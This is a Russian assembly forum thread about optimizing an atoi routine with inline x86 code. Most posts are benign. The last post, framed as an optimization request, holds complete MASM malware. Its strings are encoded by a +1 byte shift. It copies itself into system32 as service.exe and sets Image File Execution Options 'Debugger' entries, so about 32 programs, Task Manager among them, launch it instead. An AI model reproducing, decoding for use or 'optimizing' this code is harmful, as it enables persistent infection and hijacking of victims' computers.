Оптимизация

Тема в разделе "WASM.A&O", создана пользователем Lyrik, 13 фев 2005.

  1. leo

    leo Active Member

    Публикаций:
    0
    Регистрация:
    4 авг 2004
    Сообщения:
    2.542
    Адрес:
    Russia
    Lyrik

    > "хочу написать своего рода универсальный atoi"



    Странная какая-то универсальность - выделить все цифры в произвольной строке и представить их в виде целого числа. А если это вещественное число, или дата\время, или просто несколько целых с разделителями. В тоже время знак минус у тебя может стоять только в начале строки (?). Это скорее частная задача, чем общая (например, целое с разделителями групп разрядов).



    Обычно же выделяется число, образуемое только последовательными цифрами (до первого постороннего символа) и минус должен стоять непосредственно перед первой цифрой. Если перед числом допустимы пробелы или другие символы, то вначале делается отдельный цикл поиска первой цифры. Если цифра найдена, то анализ знака и цикл формирования числа. Примерно как в последнем варианте S_T_A_S_, только первый цикл поиска нужно подправить, т.к. cmp al,20h + jle не анализирует конец строки и допускает в начале символы 0..32, а заодно и 128..255. Если допустимы только пробелы, то нужно je. Иначе придется усложнить проверки.



    Кстати, если речь зашла об "универсальности", то не мешало бы ввести анализ переполнения результата.
     
  2. q_q

    q_q New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    1.706
    Lyrik

    А как же "убрать все строки, где есть total" by S_T_A_S_?



    Код
    Код (Text):
    1. mov esi,buff
    2. mov cl, byte ptr [esi]
    3. cmp cl,'-'
    можно упростить до
    Код (Text):
    1. mov esi,buff
    2. cmp byte ptr [esi],'-'
    или вообще запушить esi до dec esi до цикла и запопить вместо mov esi,buff после endstr:



    Код
    Код (Text):
    1. xor ecx,ecx
    2. inc esi
    3. mov cl,byte ptr [esi]
    4. test cl,cl
    5. jz endstr
    можно упростить до
    Код (Text):
    1. xor ecx,ecx
    2. inc esi
    3. or cl,byte ptr [esi]
    4. jz endstr
     
  3. bogrus

    bogrus Active Member

    Публикаций:
    0
    Регистрация:
    24 окт 2003
    Сообщения:
    1.338
    Адрес:
    ukraine
    Можно в одном цикле, незнаю будет ли это выгоднее, т.к. все операции выполняются независимо от того, была ли цифра или нет
    Код (Text):
    1.         xor eax,eax
    2.         xor ecx,ecx
    3.         dec esi
    4.  
    5. @@:     sub ecx,0x30
    6.         cmp ecx,10
    7.         sbb edx,edx
    8.         and ecx,edx
    9.         and edx,eax
    10.         xor eax,edx
    11.         lea edx,[edx+edx*4]
    12.         lea ecx,[ecx+edx*2]
    13.         add eax,ecx
    14.         inc esi
    15.         xor ecx,ecx
    16.         add cl,byte [esi]
    17.         jnz @B
     
  4. S_T_A_S_

    S_T_A_S_ New Member

    Публикаций:
    0
    Регистрация:
    27 окт 2003
    Сообщения:
    1.754
    Lyrik >




    Тогда читай раздел MSDN об inline asm.

    esi, edi, ebx использовать внутри асм вставок не желательно т.к. это приводит к неявным push/pop

    Что бы соревноваться в компилятором, нужно представлять как он работает и смотреть на производимый им код.

    Только одно использование абсолютно ненужного total приведёт к формированию стэкового фрейма и ненужному коду:



    mov [ebp], eax

    mov eax, [ebp]



    ненужные переходы при проверке знака '-' можно обойти даже средствами Си.

    зачем они в ассемблерном коде?





    leo >




    Во-во :)

    под универсальностью я понимаю возможность распознавать числа в таких вариантах записи:



    0101b

    01234567

    1234567890

    0x123456789abcdef0

    123456789abcdef0h
     
  5. Lyrik

    Lyrik New Member

    Публикаций:
    0
    Регистрация:
    14 янв 2005
    Сообщения:
    11
    ОК.leo, я постарался написать как сказал ты (то есть удаления пробелов и учет минуса перед первой цифрой). Вот код:
    Код (Text):
    1. int Lyrik(const char* buff)
    2. {
    3.     long total = 0;
    4.     _asm
    5.     {
    6.         mov edx,buff
    7.         xor esi,esi
    8.         xor eax,eax
    9.     space:
    10.         movsx ecx,byte ptr [edx]
    11.         cmp ecx,0x20
    12.         jg nospace
    13.         inc edx
    14.         jmp space
    15.     nospace:
    16.         cmp ecx,'-'
    17.         jne cikl
    18.         or esi,0x01
    19.         inc edx
    20.     cikl:
    21.         movsx ecx,byte ptr [edx]
    22.         sub ecx,0x30
    23.         cmp ecx,9
    24.         ja endstr
    25.         lea eax,[eax+eax*4]
    26.         lea eax,[ecx+eax*2]
    27.         inc edx
    28.         jmp cikl
    29.     endstr:
    30.         cmp esi,1
    31.         jne kon
    32.         neg eax
    33.     kon:
    34.         mov total,eax
    35.     }
    36.     return total;
    37. }


    Можно ли тут что-нибудь оптимизировать?
     
  6. q_q

    q_q New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    1.706
    Lyrik

    Откуда появился movSx?



    Неудачно организован цикл пропуска лидирующих пробелов, т.к. имеет два перехода.



    cmp esi,1 -> test esi,esi
     
  7. cresta

    cresta Active Member

    Публикаций:
    0
    Регистрация:
    13 июн 2004
    Сообщения:
    2.257
    Lyrik



    А что, условие поменялось? Получается первый же символ, чей код >39h, воспринимается как конец строки. Или в строке уже не может быть букв?



    Вместо or esi,0x01 вполне можно поставить inc esi
     
  8. S_T_A_S_

    S_T_A_S_ New Member

    Публикаций:
    0
    Регистрация:
    27 окт 2003
    Сообщения:
    1.754
    Lyrik >




    Да, для начала, убрать все строки, где есть total.

    :)
     
  9. Lyrik

    Lyrik New Member

    Публикаций:
    0
    Регистрация:
    14 янв 2005
    Сообщения:
    11


    А что лучше mov?


    А как лучше сделать?
     
  10. q_q

    q_q New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    1.706
    Lyrik

    что лучше mov?

    Речь не о том что лучше, а о том что movSx - это не правильно.



    А как лучше сделать?

    Например так
    Код (Text):
    1. ...
    2.   __asm  mov   edx,buff
    3.   __asm  xor   eax,eax
    4.   __asm  dec   edx
    5. l1:
    6.   __asm  inc   edx
    7.   __asm  movzx ecx, byte ptr [edx]
    8.   __asm  or    ecx,ecx               /* в твоем коде этой   */
    9.   __asm  jz    short endstr          /* проверка вообще нет */
    10.   __asm  cmp   eax,' '
    11.   __asm  jbe   short l1
    12. ...
     
  11. S_T_A_S_

    S_T_A_S_ New Member

    Публикаций:
    0
    Регистрация:
    27 окт 2003
    Сообщения:
    1.754
    Вот код для msvc.net & intel C++

    Ошибка, про которую говорил leo, исправлена;

    mul заменено на lea.

    код пока на байт меньше (46 байт), чем это делал компилер.

    Интересно бы прикрутить вариант bogrus с одним циклом, но как быть со знаком ? :-(


    Код (Text):
    1. #pragma warning(push)
    2. #ifdef  __INTEL_COMPILER
    3. #pragma warning(disable:1011)
    4. #endif
    5.  
    6. int __fastcall a2i(const char * s)
    7. {
    8.     __asm
    9.     {
    10. skip_whitespace:
    11.         mov     al, [ecx]
    12.         inc     ecx
    13.         sub     al, 1
    14.         cmp     al, ' '
    15.         jc      skip_whitespace
    16.      
    17.         xor     edx, edx
    18.         cmp     al, '-' - 1
    19.         setne   dl
    20.         sub     ecx, edx
    21.         dec     edx
    22.         push    edx
    23.  
    24.         xor     edx, edx        // total = 0
    25.         xor     eax, eax
    26. count:  lea     edx, [edx*4+edx]
    27.         lea     edx, [edx*2+eax]
    28.         mov     al, [ecx]
    29.         sub     al, '0'
    30.         inc     ecx
    31.         cmp     al, 9
    32.         jbe     count
    33.         pop     eax
    34.         xor     edx, eax
    35.         sub     edx, eax
    36.         xchg    eax, edx        // total
    37.     }
    38.     //  return total
    39. }
    40. #pragma warning(pop)
    41.  
     
  12. leo

    leo Active Member

    Публикаций:
    0
    Регистрация:
    4 авг 2004
    Сообщения:
    2.542
    Адрес:
    Russia
    Не вижу особого смысла пропуска всех спец символов <= 20h.

    Реально это мугут быть Tab, CR и LF. Но если это не частный случай, то чем Tab "главнее", например ';'. ИМХО логичнее отсекать либо только пробелы, либо уж все нецифровые символы. В первом случае цикл space упрощается (cmp ecx,20h + je space, а проверка на 0 делается при выходе из цикла). Во втором случае усложняются и цикл и проверка на '-', но зато получаем возможность извлечения чисел из строк вида "Param=128" и т.п. И еще, если нужно последовательно извлекать несколько чисел из строки или контролировать на каком символе произошел останов, то функция должна возвращать еще и указатель на последний нецифровой символ.



    Если взять за основу вариант S_T_A_S_, то пропуск всех не цифр может выглядеть так:
    Код (Text):
    1.     ;ecx <- buff; если не _fastcall, то mov ecx,buff
    2.         xor eax,eax
    3.     lea edx,[ecx+1] ;сохраняем указатель для проверки на '-'
    4. @@skip:
    5.     mov al,[ecx]
    6.     test al,al
    7.     jz @@end
    8.     inc ecx
    9.     sub al,30h
    10.     cmp al,9
    11.     ja @@skip
    12.  
    13.     ;проверка на '-'
    14.     ;здесь ecx указывает на следующий символ после первой цифры
    15.     push esi
    16.     cmp edx,ecx
    17.     sbb esi,esi  ;ох, и не нравятся мне эти adc\sbb :)
    18.     xor edx,edx
    19.     cmp byte [ecx+esi-1],'-'
    20.     setne dl
    21.     dec edx   ;0 если нет, и -1 = 0xF..Fh если есть
    22.  
    23.     ;в eax уже лежит первая цифра
    24.     ;и смысла ставить умножение на 10 в начало цикла вроде как нет
    25. @@digits:
    26.     movzx esi,byte [ecx]
    27.     sub esi,30h
    28.     cmp esi,9
    29.     ja @@stop
    30.     inc ecx
    31.     lea eax,[eax+eax*4]
    32.     lea eax,[esi+eax*2] ;для P4 лучше add eax,eax + add eax,esi
    33.     jmp @@digits
    34. @@stop:
    35.     ;случае '-' делаем neg == not + inc
    36.     xor eax,edx
    37.     sub eax,edx
    38.     pop esi
    39. @@end:
    40.     ;здесь можно сохранить ecx, если нужно для последующего анализа строки
     
  13. bogrus

    bogrus Active Member

    Публикаций:
    0
    Регистрация:
    24 окт 2003
    Сообщения:
    1.338
    Адрес:
    ukraine
    Юзер может набрать цифры любой длины и минус где угодно, а считать копейки это дело серьёзное :), т.ч. неизвестно сыграет ли "время-деньги" в правильную сторону
     
  14. S_T_A_S_

    S_T_A_S_ New Member

    Публикаций:
    0
    Регистрация:
    27 окт 2003
    Сообщения:
    1.754
    leo



    Есть такое понятие, как whitespace - это пробелы, табуляторы и (иногда) некоторые символы с ASCII < 20h.

    Описание atoi, которое есть у меня, никак не оговаривает их наличае перед цифрами.

    Но реализация микрософта допускает и пропускает ведущие whitespace.

    А, например, ';' - это печатный символ, который ни как не может быть приравнян к whitespace.



    Пропуск любых нецифровх символов IMHO абсурд.

    Где это может понадобиться?

    Если это какой-то парсинг, то явно будут различаться токены: foo123 и 123.

    Как к такой задаче отнесётся ф-ция?

    Обычно делают предварительный анализ - разбивку на токены, и уже потом для токенов-чисел atoi (и в этом случае нет смысла пропускать whitespace, их уже не будет)



    ЗЫ: стандарт не допускает символы @ в именах идентификаторов.
     
  15. leo

    leo Active Member

    Публикаций:
    0
    Регистрация:
    4 авг 2004
    Сообщения:
    2.542
    Адрес:
    Russia
    S_T_A_S_

    > "Пропуск любых нецифровх символов IMHO абсурд."

    > "Где это может понадобиться?"




    Это может понадобиться при чтении текстовых файлов известного или "ограниченного" формата. А ";" это не просто печатный символ, а один из распространенных разделителей элементов списка. Например, мне приходится иметь дело с каталогами и таблицами координат (числа, правда, вещественные). Порядок следования чисел известен, а вот разделители могут быть разными: пробелы, табуляция, запятая, точка с запятой, псевдографика, "суперпсевдографика" типа I или i. При этом "печатные" символы могут сочетаться с пробелами. Другой пример, текстовые файлы, содержащие строки вида: ключевое слово, "мусор" (optional), одно или несколько чисел. К примеру такая строка из обменного формата MapInfo: "CoordSys NonEarth Units "m" Bounds (..., ...) (..., ...)", где вместо точек - числа, которые нам собс-но и нужны. Ну и т.п., а пропуск всего, что не цифра, в этих случаях позволяет упростить обработку и не городить огороды под каждый отдельный случай.



    Ни о какой универсальности, конечно, речь здесь не идет. Но наличие такой функции, возвращающей число и указатель на следующий за числом символ бывает очень даже полезным.
     
  16. S_T_A_S_

    S_T_A_S_ New Member

    Публикаций:
    0
    Регистрация:
    27 окт 2003
    Сообщения:
    1.754
    Ну конечно, придумать примеры всегда можно :)

    А вот отделение парсинга от обработки токенов как раз и появилось чтобы
    .

    hint:

    перевод числа в строку - общий случай.

    пропуск (каких-то) символов - частный случай.
     
  17. Mescalito

    Mescalito New Member

    Публикаций:
    0
    Регистрация:
    31 мар 2005
    Сообщения:
    78
    Адрес:
    Харьков
    Читал у Зубкова, что когда-то происходило соревнование на написание двух прог: самой быстрой и самой маленькой, которые эмулируют игру "Жизнь" (создают случайную колонию, она живёт, отображается на экране, прога завершается по ани кей). Никто не может подкинуть инфу? А то очень интересно.
     
  18. bsl_zcs

    bsl_zcs New Member

    Публикаций:
    0
    Регистрация:
    5 июл 2003
    Сообщения:
    17
    Адрес:
    Karaganda, Kazakhstan
    Mescalito



    Есть подозрение, что в наше суровое время, самый быстрый вариант - это пиксел шейдер для современного графического ускорителя.



    :) Немножко не в тему, сорри.
     
  19. S_T_A_S_

    S_T_A_S_ New Member

    Публикаций:
    0
    Регистрация:
    27 окт 2003
    Сообщения:
    1.754
    bsl_zcs



    А так ли это? Ведь для ячейки life достаточно только 2 цвета (бит).

    И частота CPU в разы выше, чем GPU. Вот только в видеопамять он будет выводить медленнее...
     
  20. TaskFall

    TaskFall New Member

    Публикаций:
    0
    Регистрация:
    2 апр 2005
    Сообщения:
    28
    Здравсвуйте ! У меня такой исходник подскажите пожалуйста как можно его оптимизировать:



    .386

    .model flat, stdcall

    option casemap :none

    include \masm32\include\winmm.inc

    include \masm32\include\windows.inc

    include \masm32\include\masm32.inc

    include \masm32\include\user32.inc

    include \masm32\include\kernel32.inc

    include \masm32\include\advapi32.inc

    includelib \masm32\lib\user32.lib

    includelib \masm32\lib\kernel32.lib

    includelib \masm32\lib\masm32.lib

    includelib \masm32\lib\advapi32.lib

    includelib \masm32\lib\winmm.lib

    .data

    mas db 54h,50h,47h,55h,58h,42h,53h,46h,5Dh,4Eh,6Ah,64h,73h,70h,74h,70h

    mas1 db 67h,75h,5Dh,58h,6Ah,6Fh,65h,70h,78h,74h,21h,4Fh,55h,5Dh,44h,76h

    mas2 db 73h,73h,66h,6Fh,75h,57h,66h,73h,74h,6Ah,70h,6Fh,5Dh,4Ah,6Eh,62h

    mas3 db 68h,66h,21h,47h,6Ah,6Dh,66h,21h,46h,79h,66h,64h,76h,75h,6Ah,70h

    mas4 db 6Fh,21h,50h,71h,75h,6Ah,70h,6Fh,74h,5Dh,01h,4Fh,50h,55h,46h,51h

    mas5 db 42h,45h,2Fh,46h,59h,46h,01h,01h,01h,58h,50h,53h,45h,51h,42h,45h

    mas6 db 2Fh,46h,59h,46h,01h,01h,01h,54h,50h,4Dh,2Fh,46h,59h,46h,01h,01h

    mas7 db 01h,01h,01h,01h,01h,44h,42h,4Dh,44h,2Fh,46h,59h,46h,01h,01h,01h

    mas8 db 01h,01h,01h,44h,4Eh,45h,2Fh,46h,59h,46h,01h,01h,01h,01h,01h,01h

    mas9 db 01h,45h,59h,45h,4Ah,42h,48h,2Fh,46h,59h,46h,01h,01h,01h,01h,47h

    mas0 db 53h,46h,46h,44h,46h,4Dh,4Dh,2Fh,46h,59h,46h,01h,01h,4Eh,54h,49h

    mas99 db 46h,42h,53h,55h,54h,2Fh,46h,59h,46h,01h,01h,4Eh,54h,51h,42h,4Ah

    masa db 4Fh,55h,2Fh,46h,59h,46h,01h,01h,01h,46h,59h,44h,46h,4Dh,2Fh,46h

    mas11 db 59h,46h,01h,01h,01h,01h,01h,58h,4Ah,4Fh,58h,50h,53h,45h,2Fh,46h

    masaa db 59h,46h,01h,01h,01h,51h,50h,58h,46h,53h,51h,4Fh,55h,2Fh,46h,59h

    masa1 db 46h,01h,01h,4Eh,54h,42h,44h,44h,46h,54h,54h,2Fh,46h,59h,46h,01h

    muso db 01h,55h,42h,54h,4Ch,4Eh,48h,53h,2Fh,46h,59h,46h,01h,01h,01h,58h

    musi db 42h,53h,34h,2Fh,46h,59h,46h,01h,01h,01h,01h,01h,01h,49h,4Dh,2Fh

    musu db 46h,59h,46h,01h,01h,01h,01h,01h,01h,01h,01h,58h,4Ah,4Fh,42h,4Eh

    musy db 51h,2Fh,46h,59h,46h,01h,01h,01h,01h,58h,4Ah,4Fh,53h,42h,53h,2Fh

    must db 46h,59h,46h,01h,01h,01h,01h,47h,42h,53h,2Fh,46h,59h,46h,01h,01h

    musr db 01h,01h,01h,01h,01h,58h,4Eh,51h,4Dh,42h,5Ah,46h,53h,2Fh,46h,59h

    muse db 46h,01h,01h,58h,4Ah,4Fh,42h,4Eh,51h,42h,2Fh,46h,59h,46h,01h,01h

    musw db 01h,4Ah,46h,59h,51h,4Dh,50h,53h,46h,2Fh,46h,59h,46h,01h,01h,50h

    musa db 51h,46h,53h,42h,2Fh,46h,59h,46h,01h,01h,01h,01h,01h,51h,49h,50h

    mus9 db 55h,50h,54h,49h,50h,51h,2Fh,46h,59h,46h,01h,42h,44h,53h,50h,53h

    mus8 db 45h,34h,33h,2Fh,46h,59h,46h,01h,01h,4Ah,44h,52h,4Dh,4Ah,55h,46h

    mus7 db 2Fh,46h,59h,46h,01h,01h,01h,49h,4Dh,33h,2Fh,46h,59h,46h,01h,01h

    mus6 db 01h,01h,01h,01h,01h,49h,49h,2Fh,46h,59h,46h,01h,01h,01h,01h,01h

    mus5 db 01h,01h,01h,54h,46h,55h,56h,51h,2Fh,46h,59h,46h,01h,01h,01h,01h

    mus4 db 01h,56h,4Fh,4Ah,4Fh,54h,55h,42h,4Dh,4Dh,2Fh,46h,59h,46h,01h,44h

    mus3 db 4Dh,46h,42h,4Fh,4Eh,48h,53h,2Fh,46h,59h,46h,01h,01h,55h,46h,4Dh

    mus2 db 4Fh,46h,55h,2Fh,46h,59h,46h,01h,01h,01h

    RegValue db 01h,45h,66h,63h,76h,68h,68h,66h,73h,01h,74h,66h,73h,77h,6Ah,64h

    RegValue1 db 66h,2Fh,66h,79h,66h,01h,44h,3Bh,5Dh,58h,4Ah,4Fh,45h,50h,58h,54h

    Alb db 5Dh,74h,7Ah,74h,75h,66h,6Eh,34h,33h,5Dh,74h,66h,73h,77h,6Ah,64h

    Heh db 66h,2Fh,66h,79h,66h,01h,44h,3Bh,5Dh,58h,4Ah,4Fh,45h,50h,58h,54h

    Go db 5Dh,55h,46h,4Eh,51h,5Dh,54h,76h,59h,59h,2Fh,68h,6Ah,67h,01h,21h

    HH db 01h,42h,6Dh,63h,6Ah,6Fh,62h,21h,54h,56h,51h,46h,53h,21h,22h,01h

    .DATA?

    pKey dd ?

    Key db 1024 dup(?)

    .code

    start:

    mov eax,00403000h

    mov ecx,618

    ded2:

    dec dword ptr [eax]

    inc eax

    loop ded2

    invoke GetModuleFileName,NULL,00403270h,sizeof Key

    mov ecx, 12

    mov edi,00403220h

    mov esi,00403270h

    repe cmpsb

    .if (!ZERO?)

    mov ecx, 12

    mov edi,00403240h

    mov esi,00403270h

    repe cmpsb

    .if (!ZERO?)

    call copy_alb

    .endif

    call heh

    .endif

    call copy_heh

    copy_alb:

    invoke CopyFile,00403270h,00403220h,FALSE



    reg:

    mov ecx,74

    mov edi,004032A8h

    mov esi,00403000h

    rep movsb

    mov eax,0040304Bh

    mov ecx,32

    ded:

    push ecx

    mov ecx,14

    mov edi,004032F2h

    mov esi,eax

    rep movsb

    add eax,14

    push eax

    invoke RegCreateKey, HKEY_LOCAL_MACHINE,004032A8h, addr pKey

    invoke RegSetValueEx, pKey,0040320Bh, NULL, REG_SZ,00403214h, sizeof RegValue1

    pop eax

    pop ecx

    loop ded

    call ExitProcess



    copy_heh:

    invoke CopyFile,00403270h,00403240h,FALSE

    invoke WinExec,00403240h,0

    call ExitProcess



    heh:

    invoke MessageBox,0,0040325Bh,00403259h,0

    call ExitProcess

    end start



    Спасибо.